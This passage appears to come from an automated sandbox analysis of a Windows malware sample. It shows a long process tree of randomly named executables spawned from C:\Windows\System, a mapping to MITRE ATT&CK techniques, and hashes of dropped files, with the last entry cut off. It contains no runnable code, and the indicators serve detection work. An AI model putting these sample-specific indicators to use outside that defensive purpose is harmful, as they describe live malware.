  PID:14732
- C:\Windows\System\gbaaZrX.exe
  C:\Windows\System\gbaaZrX.exe
  2⤵
  PID:14748
- C:\Windows\System\ONKAciG.exe
  C:\Windows\System\ONKAciG.exe
  2⤵
  PID:14764
- C:\Windows\System\ctGOfGS.exe
  C:\Windows\System\ctGOfGS.exe
  2⤵
  PID:14780
- C:\Windows\System\xutykVs.exe
  C:\Windows\System\xutykVs.exe
  2⤵
  PID:14796
- C:\Windows\System\gepmEyE.exe
  C:\Windows\System\gepmEyE.exe
  2⤵
  PID:14812
- C:\Windows\System\KPfkBwe.exe
  C:\Windows\System\KPfkBwe.exe
  2⤵
  PID:14828
- C:\Windows\System\tEnMmNo.exe
  C:\Windows\System\tEnMmNo.exe
  2⤵
  PID:14844
- C:\Windows\System\AIjdOSe.exe
  C:\Windows\System\AIjdOSe.exe
  2⤵
  PID:14860
- C:\Windows\System\GjPfQHo.exe
  C:\Windows\System\GjPfQHo.exe
  2⤵
  PID:14876
- C:\Windows\System\LEHgbXk.exe
  C:\Windows\System\LEHgbXk.exe
  2⤵
  PID:14892
- C:\Windows\System\yfxolnp.exe
  C:\Windows\System\yfxolnp.exe
  2⤵
  PID:14908
- C:\Windows\System\iwIvlqO.exe
  C:\Windows\System\iwIvlqO.exe
  2⤵
  PID:14936
- C:\Windows\System\zumERpR.exe
  C:\Windows\System\zumERpR.exe
  2⤵
  PID:14952
- C:\Windows\System\sMkbFmB.exe
  C:\Windows\System\sMkbFmB.exe
  2⤵
  PID:15012
- C:\Windows\System\kUIvZyX.exe
  C:\Windows\System\kUIvZyX.exe
  2⤵
  PID:15040
- C:\Windows\System\zHHvyHR.exe
  C:\Windows\System\zHHvyHR.exe
  2⤵
  PID:15056
- C:\Windows\System\yYRaXme.exe
  C:\Windows\System\yYRaXme.exe
  2⤵
  PID:15072
- C:\Windows\System\jrShRPr.exe
  C:\Windows\System\jrShRPr.exe
  2⤵
  PID:15096
- C:\Windows\System\ntPaTgz.exe
  C:\Windows\System\ntPaTgz.exe
  2⤵
  PID:15112
- C:\Windows\System\FBRDaxj.exe
  C:\Windows\System\FBRDaxj.exe
  2⤵
  PID:15136
- C:\Windows\System\lTsYGVw.exe
  C:\Windows\System\lTsYGVw.exe
  2⤵
  PID:15168
- C:\Windows\System\GibTRLy.exe
  C:\Windows\System\GibTRLy.exe
  2⤵
  PID:15192
- C:\Windows\System\tWeWSqf.exe
  C:\Windows\System\tWeWSqf.exe
  2⤵
  PID:15208
- C:\Windows\System\ZDVdMSv.exe
  C:\Windows\System\ZDVdMSv.exe
  2⤵
  PID:15228
- C:\Windows\System\qOUpfsH.exe
  C:\Windows\System\qOUpfsH.exe
  2⤵
  PID:15260
- C:\Windows\System\KXxQBia.exe
  C:\Windows\System\KXxQBia.exe
  2⤵
  PID:15284
- C:\Windows\System\FdXupyC.exe
  C:\Windows\System\FdXupyC.exe
  2⤵
  PID:15312
- C:\Windows\System\SpQmDQs.exe
  C:\Windows\System\SpQmDQs.exe
  2⤵
  PID:15340
- C:\Windows\System\rEFVipl.exe
  C:\Windows\System\rEFVipl.exe
  2⤵
  PID:15356
- C:\Windows\System\wUKLZBP.exe
  C:\Windows\System\wUKLZBP.exe
  2⤵
  PID:4336
- C:\Windows\System\NzcDgfn.exe
  C:\Windows\System\NzcDgfn.exe
  2⤵
  PID:4696
- C:\Windows\System\AeaGqhd.exe
  C:\Windows\System\AeaGqhd.exe
  2⤵
  PID:3220
- C:\Windows\System\msHWSqS.exe
  C:\Windows\System\msHWSqS.exe
  2⤵
  PID:4812
- C:\Windows\System\VHPCEQI.exe
  C:\Windows\System\VHPCEQI.exe
  2⤵
  PID:2416
- C:\Windows\System\NNQUCSp.exe
  C:\Windows\System\NNQUCSp.exe
  2⤵
  PID:2668
- C:\Windows\System\OUfchwH.exe
  C:\Windows\System\OUfchwH.exe
  2⤵
  PID:4832
- C:\Windows\System\QSCzdXZ.exe
  C:\Windows\System\QSCzdXZ.exe
  2⤵
  PID:14468
- C:\Windows\System\hjNqzzA.exe
  C:\Windows\System\hjNqzzA.exe
  2⤵
  PID:14360
- C:\Windows\System\VNYmPeh.exe
  C:\Windows\System\VNYmPeh.exe
  2⤵
  PID:3352
- C:\Windows\System\wtcSorT.exe
  C:\Windows\System\wtcSorT.exe
  2⤵
  PID:384
- C:\Windows\System\lDJyELB.exe
  C:\Windows\System\lDJyELB.exe
  2⤵
  PID:1564
- C:\Windows\System\rPSNhEZ.exe
  C:\Windows\System\rPSNhEZ.exe
  2⤵
  PID:14396
- C:\Windows\System\EniYjUW.exe
  C:\Windows\System\EniYjUW.exe
  2⤵
  PID:14452
- C:\Windows\System\VfqPtwF.exe
  C:\Windows\System\VfqPtwF.exe
  2⤵
  PID:14504
- C:\Windows\System\gXSiDEH.exe
  C:\Windows\System\gXSiDEH.exe
  2⤵
  PID:14524
- C:\Windows\System\MAQOuCH.exe
  C:\Windows\System\MAQOuCH.exe
  2⤵
  PID:5208
- C:\Windows\System\ThQbWLx.exe
  C:\Windows\System\ThQbWLx.exe
  2⤵
  PID:14556
- C:\Windows\System\SvUsvDX.exe
  C:\Windows\System\SvUsvDX.exe
  2⤵
  PID:5224
- C:\Windows\System\PPhjnKX.exe
  C:\Windows\System\PPhjnKX.exe
  2⤵
  PID:5428
- C:\Windows\System\GfTTxxX.exe
  C:\Windows\System\GfTTxxX.exe
  2⤵
  PID:5204
- C:\Windows\System\DaToGIC.exe
  C:\Windows\System\DaToGIC.exe
  2⤵
  PID:5236
- C:\Windows\System\XWqOUiP.exe
  C:\Windows\System\XWqOUiP.exe
  2⤵
  PID:5256
- C:\Windows\System\ViMQDsz.exe
  C:\Windows\System\ViMQDsz.exe
  2⤵
  PID:14616
- C:\Windows\System\CPdxsuB.exe
  C:\Windows\System\CPdxsuB.exe
  2⤵
  PID:5852
- C:\Windows\System\psZbbYu.exe
  C:\Windows\System\psZbbYu.exe
  2⤵
  PID:14632
- C:\Windows\System\LTIJsNL.exe
  C:\Windows\System\LTIJsNL.exe
  2⤵
  PID:5524
- C:\Windows\System\kkYDSpv.exe
  C:\Windows\System\kkYDSpv.exe
  2⤵
  PID:5876
- C:\Windows\System\vOwenHF.exe
  C:\Windows\System\vOwenHF.exe
  2⤵
  PID:5868
- C:\Windows\System\fpOOUuQ.exe
  C:\Windows\System\fpOOUuQ.exe
  2⤵
  PID:6048
- C:\Windows\System\QbNwINv.exe
  C:\Windows\System\QbNwINv.exe
  2⤵
  PID:5908
- C:\Windows\System\jSsYMbB.exe
  C:\Windows\System\jSsYMbB.exe
  2⤵
  PID:6136
- C:\Windows\System\gsbGnOe.exe
  C:\Windows\System\gsbGnOe.exe
  2⤵
  PID:14696
- C:\Windows\System\WeyOToA.exe
  C:\Windows\System\WeyOToA.exe
  2⤵
  PID:5284
- C:\Windows\System\qszNneM.exe
  C:\Windows\System\qszNneM.exe
  2⤵
  PID:14588
- C:\Windows\System\TICqvVF.exe
  C:\Windows\System\TICqvVF.exe
  2⤵
  PID:14840
- C:\Windows\System\cScEyYT.exe
  C:\Windows\System\cScEyYT.exe
  2⤵
  PID:14664
- C:\Windows\System\mQWaWPN.exe
  C:\Windows\System\mQWaWPN.exe
  2⤵
  PID:14676
- C:\Windows\System\wZJgrRW.exe
  C:\Windows\System\wZJgrRW.exe
  2⤵
  PID:14884
- C:\Windows\System\YCdaSva.exe
  C:\Windows\System\YCdaSva.exe
  2⤵
  PID:14704
- C:\Windows\System\rxjRAya.exe
  C:\Windows\System\rxjRAya.exe
  2⤵
  PID:14560
- C:\Windows\System\WOfzyde.exe
  C:\Windows\System\WOfzyde.exe
  2⤵
  PID:5996
- C:\Windows\System\UOsktHO.exe
  C:\Windows\System\UOsktHO.exe
  2⤵
  PID:14944
- C:\Windows\System\lVtLCWP.exe
  C:\Windows\System\lVtLCWP.exe
  2⤵
  PID:14740
- C:\Windows\System\obJJxGE.exe
  C:\Windows\System\obJJxGE.exe
  2⤵
  PID:6524
- C:\Windows\System\DssvMAR.exe
  C:\Windows\System\DssvMAR.exe
  2⤵
  PID:2308
- C:\Windows\System\yJAHlSL.exe
  C:\Windows\System\yJAHlSL.exe
  2⤵
  PID:5880
- C:\Windows\System\rMEhEIo.exe
  C:\Windows\System\rMEhEIo.exe
  2⤵
  PID:15092
- C:\Windows\System\JDIRQXm.exe
  C:\Windows\System\JDIRQXm.exe
  2⤵
  PID:14948
- C:\Windows\System\ffYPYrX.exe
  C:\Windows\System\ffYPYrX.exe
  2⤵
  PID:15036
- C:\Windows\System\IFiJeAW.exe
  C:\Windows\System\IFiJeAW.exe
  2⤵
  PID:14988
- C:\Windows\System\wBWCcwi.exe
  C:\Windows\System\wBWCcwi.exe
  2⤵
  PID:6644
- C:\Windows\System\XdcRkFl.exe
  C:\Windows\System\XdcRkFl.exe
  2⤵
  PID:6652
- C:\Windows\System\yAUhBPs.exe
  C:\Windows\System\yAUhBPs.exe
  2⤵
  PID:6360
- C:\Windows\System\bDAIgqR.exe
  C:\Windows\System\bDAIgqR.exe
  2⤵
  PID:6660
- C:\Windows\System\nHCBDkI.exe
  C:\Windows\System\nHCBDkI.exe
  2⤵
  PID:14356
- C:\Windows\System\oTvVFjq.exe
  C:\Windows\System\oTvVFjq.exe
  2⤵
  PID:6984
- C:\Windows\System\jZmNjal.exe
  C:\Windows\System\jZmNjal.exe
  2⤵
  PID:15200
- C:\Windows\System\WcXMJYI.exe
  C:\Windows\System\WcXMJYI.exe
  2⤵
  PID:5100
- C:\Windows\System\bYESnuf.exe
  C:\Windows\System\bYESnuf.exe
  2⤵
  PID:6620
- C:\Windows\System\KExyheA.exe
  C:\Windows\System\KExyheA.exe
  2⤵
  PID:15272
- C:\Windows\System\RnPBPLg.exe
  C:\Windows\System\RnPBPLg.exe
  2⤵
  PID:15248
- C:\Windows\System\QmidqQr.exe
  C:\Windows\System\QmidqQr.exe
  2⤵
  PID:15296
- C:\Windows\System\pxULEBp.exe
  C:\Windows\System\pxULEBp.exe
  2⤵
  PID:15320
- C:\Windows\System\CGybrde.exe
  C:\Windows\System\CGybrde.exe
  2⤵
  PID:14388
- C:\Windows\System\KdNnFwk.exe
  C:\Windows\System\KdNnFwk.exe
  2⤵
  PID:5268
- C:\Windows\System\BSqschT.exe
  C:\Windows\System\BSqschT.exe
  2⤵
  PID:15348
- C:\Windows\System\YFozxVC.exe
  C:\Windows\System\YFozxVC.exe
  2⤵
  PID:6860
- C:\Windows\System\HEjPDbl.exe
  C:\Windows\System\HEjPDbl.exe
  2⤵
  PID:6028
- C:\Windows\System\TWPiclR.exe
  C:\Windows\System\TWPiclR.exe
  2⤵
  PID:6928
- C:\Windows\System\mxXUGbN.exe
  C:\Windows\System\mxXUGbN.exe
  2⤵
  PID:4348
- C:\Windows\System\szgUUyX.exe
  C:\Windows\System\szgUUyX.exe
  2⤵
  PID:7040
- C:\Windows\System\Zlareyq.exe
  C:\Windows\System\Zlareyq.exe
  2⤵
  PID:2752
- C:\Windows\System\CsifoXS.exe
  C:\Windows\System\CsifoXS.exe
  2⤵
  PID:7104
- C:\Windows\System\qSdARsE.exe
  C:\Windows\System\qSdARsE.exe
  2⤵
  PID:6960
- C:\Windows\System\sbTjMJY.exe
  C:\Windows\System\sbTjMJY.exe
  2⤵
  PID:6976
- C:\Windows\System\vsRtOnP.exe
  C:\Windows\System\vsRtOnP.exe
  2⤵
  PID:428
- C:\Windows\System\DECUCTV.exe
  C:\Windows\System\DECUCTV.exe
  2⤵
  PID:5216
- C:\Windows\System\jkAGFJN.exe
  C:\Windows\System\jkAGFJN.exe
  2⤵
  PID:14368
- C:\Windows\System\KcttFJv.exe
  C:\Windows\System\KcttFJv.exe
  2⤵
  PID:4880
- C:\Windows\System\SUfCriV.exe
  C:\Windows\System\SUfCriV.exe
  2⤵
  PID:4484
- C:\Windows\System\wrsuPri.exe
  C:\Windows\System\wrsuPri.exe
  2⤵
  PID:3820
- C:\Windows\System\zuqjTNi.exe
  C:\Windows\System\zuqjTNi.exe
  2⤵
  PID:5780
- C:\Windows\System\vgHLkdt.exe
  C:\Windows\System\vgHLkdt.exe
  2⤵
  PID:4544
- C:\Windows\System\FlLEyoV.exe
  C:\Windows\System\FlLEyoV.exe
  2⤵
  PID:6924
- C:\Windows\System\ruaIWKz.exe
  C:\Windows\System\ruaIWKz.exe
  2⤵
  PID:4272
- C:\Windows\System\GpTlYZZ.exe
  C:\Windows\System\GpTlYZZ.exe
  2⤵
  PID:3524
- C:\Windows\System\TSRmycf.exe
  C:\Windows\System\TSRmycf.exe
  2⤵
  PID:3008
- C:\Windows\System\aXyzoWH.exe
  C:\Windows\System\aXyzoWH.exe
  2⤵
  PID:5212
- C:\Windows\System\bMoLRtT.exe
  C:\Windows\System\bMoLRtT.exe
  2⤵
  PID:1008
- C:\Windows\System\WOanADh.exe
  C:\Windows\System\WOanADh.exe
  2⤵
  PID:5872
- C:\Windows\System\qovrdpj.exe
  C:\Windows\System\qovrdpj.exe
  2⤵
  PID:5884
- C:\Windows\System\hJQECbd.exe
  C:\Windows\System\hJQECbd.exe
  2⤵
  PID:3164
- C:\Windows\System\xfzUqEk.exe
  C:\Windows\System\xfzUqEk.exe
  2⤵
  PID:5444
- C:\Windows\System\JtsTTxB.exe
  C:\Windows\System\JtsTTxB.exe
  2⤵
  PID:7752
- C:\Windows\System\cFEhtKW.exe
  C:\Windows\System\cFEhtKW.exe
  2⤵
  PID:14576
- C:\Windows\System\DQSgOkd.exe
  C:\Windows\System\DQSgOkd.exe
  2⤵
  PID:11188
- C:\Windows\System\VPfZaZb.exe
  C:\Windows\System\VPfZaZb.exe
  2⤵
  PID:12388
- C:\Windows\System\YwlAFkl.exe
  C:\Windows\System\YwlAFkl.exe
  2⤵
  PID:14788
- C:\Windows\System\dDQvuRr.exe
  C:\Windows\System\dDQvuRr.exe
  2⤵
  PID:5240
- C:\Windows\System\zDeOeJj.exe
  C:\Windows\System\zDeOeJj.exe
  2⤵
  PID:14608
- C:\Windows\System\hmUHGxR.exe
  C:\Windows\System\hmUHGxR.exe
  2⤵
  PID:14620
- C:\Windows\System\QoUFlyp.exe
  C:\Windows\System\QoUFlyp.exe
  2⤵
  PID:5532
- C:\Windows\System\bUaMGTz.exe
  C:\Windows\System\bUaMGTz.exe
  2⤵
  PID:14824
- C:\Windows\System\BeBmQSa.exe
  C:\Windows\System\BeBmQSa.exe
  2⤵
  PID:6552
- C:\Windows\System\utcBTAi.exe
  C:\Windows\System\utcBTAi.exe
  2⤵
  PID:14852
- C:\Windows\System\ndlBVvk.exe
  C:\Windows\System\ndlBVvk.exe
  2⤵
  PID:7828
- C:\Windows\System\GWfTRrH.exe
  C:\Windows\System\GWfTRrH.exe
  2⤵
  PID:3204
- C:\Windows\System\SzwRcoz.exe
  C:\Windows\System\SzwRcoz.exe
  2⤵
  PID:7848
- C:\Windows\System\lQBDnvm.exe
  C:\Windows\System\lQBDnvm.exe
  2⤵
  PID:5576
- C:\Windows\System\sEXmBwJ.exe
  C:\Windows\System\sEXmBwJ.exe
  2⤵
  PID:8040
- C:\Windows\System\bMfApJl.exe
  C:\Windows\System\bMfApJl.exe
  2⤵
  PID:6184
- C:\Windows\System\HQGonyx.exe
  C:\Windows\System\HQGonyx.exe
  2⤵
  PID:7260
- C:\Windows\System\drAYLDN.exe
  C:\Windows\System\drAYLDN.exe
  2⤵
  PID:7340
- C:\Windows\System\kdChHHF.exe
  C:\Windows\System\kdChHHF.exe
  2⤵
  PID:6252
- C:\Windows\System\smGCufe.exe
  C:\Windows\System\smGCufe.exe
  2⤵
  PID:8156
- C:\Windows\System\KXyTaBS.exe
  C:\Windows\System\KXyTaBS.exe
  2⤵
  PID:6052
- C:\Windows\System\emqzyfw.exe
  C:\Windows\System\emqzyfw.exe
  2⤵
  PID:15020
- C:\Windows\System\LTxuLvP.exe
  C:\Windows\System\LTxuLvP.exe
  2⤵
  PID:15064
- C:\Windows\System\pItgGWI.exe
  C:\Windows\System\pItgGWI.exe
  2⤵
  PID:5760
- C:\Windows\System\CrhTFTi.exe
  C:\Windows\System\CrhTFTi.exe
  2⤵
  PID:7504
- C:\Windows\System\gpjympG.exe
  C:\Windows\System\gpjympG.exe
  2⤵
  PID:7528
- C:\Windows\System\fhNSUZn.exe
  C:\Windows\System\fhNSUZn.exe
  2⤵
  PID:7272
- C:\Windows\System\lZSMPJv.exe
  C:\Windows\System\lZSMPJv.exe
  2⤵
  PID:14916
- C:\Windows\System\iGRqXlA.exe
  C:\Windows\System\iGRqXlA.exe
  2⤵
  PID:7312
- C:\Windows\System\FEOzZBz.exe
  C:\Windows\System\FEOzZBz.exe
  2⤵
  PID:7840
- C:\Windows\System\gjfjtZL.exe
  C:\Windows\System\gjfjtZL.exe
  2⤵
  PID:7360
- C:\Windows\System\bHEOrLY.exe
  C:\Windows\System\bHEOrLY.exe
  2⤵
  PID:6700
- C:\Windows\System\eTlwsqd.exe
  C:\Windows\System\eTlwsqd.exe
  2⤵
  PID:15032
- C:\Windows\System\mvDFvJM.exe
  C:\Windows\System\mvDFvJM.exe
  2⤵
  PID:14984
- C:\Windows\System\qeCznBq.exe
  C:\Windows\System\qeCznBq.exe
  2⤵
  PID:7784
- C:\Windows\System\IMzQHtX.exe
  C:\Windows\System\IMzQHtX.exe
  2⤵
  PID:7792
- C:\Windows\System\aiPLUeo.exe
  C:\Windows\System\aiPLUeo.exe
  2⤵
  PID:7812
- C:\Windows\System\zSUVZqJ.exe
  C:\Windows\System\zSUVZqJ.exe
  2⤵
  PID:5544
- C:\Windows\System\LSojyDN.exe
  C:\Windows\System\LSojyDN.exe
  2⤵
  PID:5744
- C:\Windows\System\bprnYoL.exe
  C:\Windows\System\bprnYoL.exe
  2⤵
  PID:15252
- C:\Windows\System\euCwtKR.exe
  C:\Windows\System\euCwtKR.exe
  2⤵
  PID:15276
- C:\Windows\System\SHpdakF.exe
  C:\Windows\System\SHpdakF.exe
  2⤵
  PID:15236
- C:\Windows\System\LHzEoUL.exe
  C:\Windows\System\LHzEoUL.exe
  2⤵
  PID:15220
- C:\Windows\System\qqYlEwo.exe
  C:\Windows\System\qqYlEwo.exe
  2⤵
  PID:15328
- C:\Windows\System\qXMYQps.exe
  C:\Windows\System\qXMYQps.exe
  2⤵
  PID:15336
- C:\Windows\System\VUZTduk.exe
  C:\Windows\System\VUZTduk.exe
  2⤵
  PID:7372
- C:\Windows\System\obEGwft.exe
  C:\Windows\System\obEGwft.exe
  2⤵
  PID:8160
- C:\Windows\System\UuorkSx.exe
  C:\Windows\System\UuorkSx.exe
  2⤵
  PID:2368
- C:\Windows\System\RPwuQHI.exe
  C:\Windows\System\RPwuQHI.exe
  2⤵
  PID:8584
- C:\Windows\System\gZFTqip.exe
  C:\Windows\System\gZFTqip.exe
  2⤵
  PID:7764
- C:\Windows\System\fqgcWax.exe
  C:\Windows\System\fqgcWax.exe
  2⤵
  PID:8592
- C:\Windows\System\ywArVEM.exe
  C:\Windows\System\ywArVEM.exe
  2⤵
  PID:6988
- C:\Windows\System\IYbWsLd.exe
  C:\Windows\System\IYbWsLd.exe
  2⤵
  PID:6884
- C:\Windows\System\sewdRco.exe
  C:\Windows\System\sewdRco.exe
  2⤵
  PID:7080
- C:\Windows\System\jTAJotz.exe
  C:\Windows\System\jTAJotz.exe
  2⤵
  PID:2996
- C:\Windows\System\FoebWca.exe
  C:\Windows\System\FoebWca.exe
  2⤵
  PID:8628
- C:\Windows\System\UrdZUne.exe
  C:\Windows\System\UrdZUne.exe
  2⤵
  PID:4604
- C:\Windows\System\ThXVNND.exe
  C:\Windows\System\ThXVNND.exe
  2⤵
  PID:8716
- C:\Windows\System\xitQxHO.exe
  C:\Windows\System\xitQxHO.exe
  2⤵
  PID:14472
- C:\Windows\System\RyEbbWo.exe
  C:\Windows\System\RyEbbWo.exe
  2⤵
  PID:6176
- C:\Windows\System\yukbnqz.exe
  C:\Windows\System\yukbnqz.exe
  2⤵
  PID:9572
- C:\Windows\System\RfvrvHW.exe
  C:\Windows\System\RfvrvHW.exe
  2⤵
  PID:3364
- C:\Windows\System\AFSORrD.exe
  C:\Windows\System\AFSORrD.exe
  2⤵
  PID:8948
- C:\Windows\System\DKovHbO.exe
  C:\Windows\System\DKovHbO.exe
  2⤵
  PID:8984
- C:\Windows\System\MPECNIY.exe
  C:\Windows\System\MPECNIY.exe
  2⤵
  PID:9664
- C:\Windows\System\nYJjzKk.exe
  C:\Windows\System\nYJjzKk.exe
  2⤵
  PID:9020
- C:\Windows\System\BFzxlFY.exe
  C:\Windows\System\BFzxlFY.exe
  2⤵
  PID:14420
- C:\Windows\System\MKpQUmu.exe
  C:\Windows\System\MKpQUmu.exe
  2⤵
  PID:14404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jtmzxixv.4xp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\BnpEspD.exe

Filesize
1.9MB

MD5
c99091a3ee5517c0e6f822c0dee25ad5

SHA1
cdaa1a4c47a56d2fb0acca76669ae9abcbf7594d

SHA256
cc50e01ec716d879282ea436f6d58cfa67adab05820cc1113182ec0041cb1fb7

SHA512
bd08e02dad715fb9583daa708773362e3a48847375d67adf658457c7004da0d4e360adfe3a30cf1956a5ed3729909b8e94cc70772b94cde434dc83aac2b9445a

Download Submit
C:\Windows\System\CHtGqjy.exe

Filesize
1.9MB

MD5
011305b33f60235e7b545a3eec6a5077

SHA1
56425f01cdb8ff0d3877e9a64baef5d3f5a9d24d

SHA256
64a15470514bbb9c9af89a6e4f7c3f5180fd79c8384b099a065f50d5281a4d2d

SHA512
a8811a1c21efe6e4f606a5cad7363e77d0d6341c17ed770b3a56297d570877874dd56dc87a8498b8891e5424dd0d7f18fd70cc52d8450b72fd0834460efbe532

Download Submit
C:\Windows\System\CYoMdtx.exe

Filesize
1.9MB

MD5
5db9318b1ad93ea79b940c241483da16

SHA1
9bb2d9ed945fe77fa2f46e50d8bf127014e91cdc

SHA256
d2afe20f647f54b00a14116446ee76e325ecd32a67d70c02b8f11a0812ccdb09

SHA512
a01e1b064d0995a0e06c03ed034237d73963b812cf30078cc69098588d8c30d4b2f0a6a4d3c34fb6a7046df903946d6f157ec13e6b4fe79068eb4e57d4950130

Download Submit
C:\Windows\System\ELvKxfZ.exe

Filesize
1.9MB

MD5
83b3440b7cb027213c7224be80c621eb

SHA1
c983e5fee98c16e0e81c7ea70d436c1bd2f35ccb

SHA256
e7329589cf449b90cffc9662cf25ca63490627eed8654d61280ba97fdf3e965e

SHA512
e5fb717263dc828ffbbf1c5b97588119b3a501ecf5c486c444b8553df010f399bc52cd2c399b92e8c2b98145f03d59efdb2f0169d8ef7e4a9a5784230df98aff

Download Submit
C:\Windows\System\FVZvMhh.exe

Filesize
1.9MB

MD5
ed217647b6106ccfdc110e0a2411ff1f

SHA1
db145a627396c6954eed50f3808e9c4553df254b

SHA256
2523bfde487db223cd2c886daef47508a3626098038d6c20184219f310d1bdc3

SHA512
7e761ca8c99bf78495942ea797bb9c9369bfdbaffbf20ca277f4cbf83095646f7683488670071ec213b52b8a84acf5be306ec890fa51f727985582461b2147d0

Download Submit
C:\Windows\System\GSlhYjB.exe

Filesize
1.9MB

MD5
5a036e2f78dbd2d44203c1caf4fa9034

SHA1
49b3028d01c38a20acdc04b53d09f9e9a668123d

SHA256
d378c39ee623558ecc75943ba3505c8de7d760f9bbade7655774adb2c22b3112

SHA512
2566d1009227edd1c903d474b93d34851f0dd45515c7cfec8ebbf1bc60608f88751f6d6fc14516122a174f23e7ac4fae40dc7fb23268404a3fa4a2041e6cc23e

Download Submit
C:\Windows\System\GeMhJTu.exe

Filesize
1.9MB

MD5
ae0d4404a8c939f88a0b35a429784720

SHA1
7a6bed1b0dfcf36a31b1231faedb3b7b132b1fdf

SHA256
906448553d6e80c513b7302fc8e12820f62d88ee8887d7b53b94568fd30c6af1

SHA512
4cce6491111057b901905968af3629f282a53a9dadbe65da4c72720c095184a2e277ef42304ba3aac03521484a97cca31a2f3dc463e91f0aadb4792740f74ac5

Download Submit
C:\Windows\System\JFMRWhj.exe

Filesize
1.9MB

MD5
047e6176fe736fcaa6d953db6e896c94

SHA1
578d71409ffdb0d2df2323517351a3c3c4966f2c

SHA256
b37933fa449d33c17e904cebf0357de3684dc132d6a95823ca0011db24880a0e

SHA512
081edffa4a7cc8ffe06a184ff0330d079c5047a82e7d1fa4c41f4126e5be6cedfeda9d5f2ccd9b67445c3aa36ee0d7316a38e4c2372ccd67dc3cbc6b116eeffc

Download Submit
C:\Windows\System\JvXsqkW.exe

Filesize
1.9MB

MD5
c0a2820cc08da93628880015c9c1a5d0

SHA1
1bd6a5d2ce416daf48ffff5ef81e3ad657d11486

SHA256
8c572e0abbeb778826604b4d4e9e0fd75e62a727bb65fdc843d6e4118ad908e6

SHA512
61e2bf9ce96ad66e5f3b1269c1ff54890fb050b579c2f4fcd13c167cef005387c5fd9852b436700e8b828cd040441724e359a069e6660a0b91093bd7c23a9fa8

Download Submit
C:\Windows\System\KHLbrOF.exe

Filesize
1.9MB

MD5
af43c75c2fba1bd06a58b5b3f75e5c0d

SHA1
0ca3ecad1cd3afb7058885347eae43087368d359

SHA256
5c5fccba07eba6fcd620c8bb95ef9246d13faaa910734e4f61f79814dfc92480

SHA512
43277a220952339bed1dac67bf40dfd5eabc6c9babdd16a60944c093391977f07a247b6fb57afc98299a67fd5b528043c4f6e0b0f9f2edaff3a6f33f20d78e6c

Download Submit
C:\Windows\System\LwPfbgK.exe

Filesize
1.9MB

MD5
5a69f8df99a5039f73fa13562bdde9bf

SHA1
9777d1bade622c8a3ed49f43c0d9080d234fbfa1

SHA256
b10702c4e35089856bcade048649af08fed16dac422599084e31dc452defce5b

SHA512
3ddd78c8c801f08acbfc4c27a6a3fb7340c110a72e6c1ea6a75d88117ff9967f0acdaa07be157730ae14a3308a5c3ecd98e1aa111209e1b94e96dce5a0d24226

Download Submit
C:\Windows\System\OKJnxbD.exe

Filesize
1.9MB

MD5
f05d28d15fc4d484557f00ff5b2e6163

SHA1
826cf3dd586ae82be77aa80d9bc81bdaf9fe6df9

SHA256
d6d1fcc3504fee945a84ae660f9a2916c7666c08d75a4d6e7e14303f6a23a5da

SHA512
a1c787a259f342b4acf39b6701eb5dd32208f2cc47b3714c4e36ced8c4a48c97362c8a6beb174dd249fc67883864731f148ea68c824157b5a011b5aa3c61c3ae

Download Submit
C:\Windows\System\PeiKucv.exe

Filesize
1.9MB

MD5
123550d226c12562cb57e172fc13b6f8

SHA1
395b3c0402d281cdde8f78a7032d6bdbd23f7425

SHA256
6e1b9aa7170ff65197d9731c0d6b04c59c7b95603113455af5494f6ed67100b1

SHA512
daf3f4dad8b9c35e8a831de53734b7f55eed9c233b6e45d834856236c8d00945bb64cc41f6d88fb7b1754a2fa447a1653f256e6a7b1e361123920463c8b96a67

Download Submit
C:\Windows\System\QIMjGHd.exe

Filesize
1.9MB

MD5
8854c86acc19c7012cb0a30442807009

SHA1
a06b3e205f8aa5156678375c89aae3be7d07f201

SHA256
8a4c2bea79d724a2055231d801a6b87cb2f02ece1c13edfbcbfd837639c36894

SHA512
d9ebf79f0b855e45235d95807e69758421fe2b3de004082c3ce9958ca4dcdf6f9d32384093180f49744c467298a9aeb5134c865156b49d5115d22841427574f5

Download Submit
C:\Windows\System\SyvWojt.exe

Filesize
1.9MB

MD5
ce16a5ee8bf382cd987d2ade41ba5673

SHA1
a16e7e624d0a3c7c4ff15e3aa8e8fe2a7eaac8bc

SHA256
6169e9ad4f0b6e1f45ae642d95482c98d6ad47bbd2ae9de767a473d857ce4dc7

SHA512
10d77f26517d52f854c5162a44637415f676729f70a88b7f34bb0ad47beab8c4b62cfaa7d28845ad567d4ca8cbbb323c58cf3f191a19a778fa4d9c54c0fc2153

Download Submit
C:\Windows\System\TgIQJVs.exe

Filesize
1.9MB

MD5
5e11173067f36ba58e2fe28761fceaf8

SHA1
f07d105db55472bf90fa7ef5aee310f1ec4d4cd3

SHA256
2675a28e60b900ae5161fba196c95677179d6f26b1cfeb4369b43e42088a2a56

SHA512
1ab534cc4fc383ba534140583651f60681a08501e5929e09669a66c08cb8ca9260337ee13a3cff8b39df8f9e348fe8cffb7199a82217d007bcb51e4ebdafb582

Download Submit
C:\Windows\System\WPrlWmO.exe

Filesize
1.9MB

MD5
a82a55e214576bc2ea347b43a4174206

SHA1
d603b3f20637aa9d2d4c214737860c428275087f

SHA256
c22a89d9657e38e548e8ee3143b251bec0dec03be67ccadf2f4eacf60af5605f

SHA512
1d55d6dcb9e9571a46e584150f83b44ad29c2b4bbadb336cfb160d620febc852aedd711ff2ab00cc9176077f78ceb72defb21b88fc7178aedb201fced15907de

Download Submit
C:\Windows\System\WYKDHNV.exe

Filesize
1.9MB

MD5
800db8e7d2f32a70d4b4ecb04cc0668e

SHA1
1d674d6a6b73029d69dc440377d6e0168d28354d

SHA256
53de78bc14843c2e514cf24a056b1881b5927df4fefb889d20af94866ca82b5b

SHA512
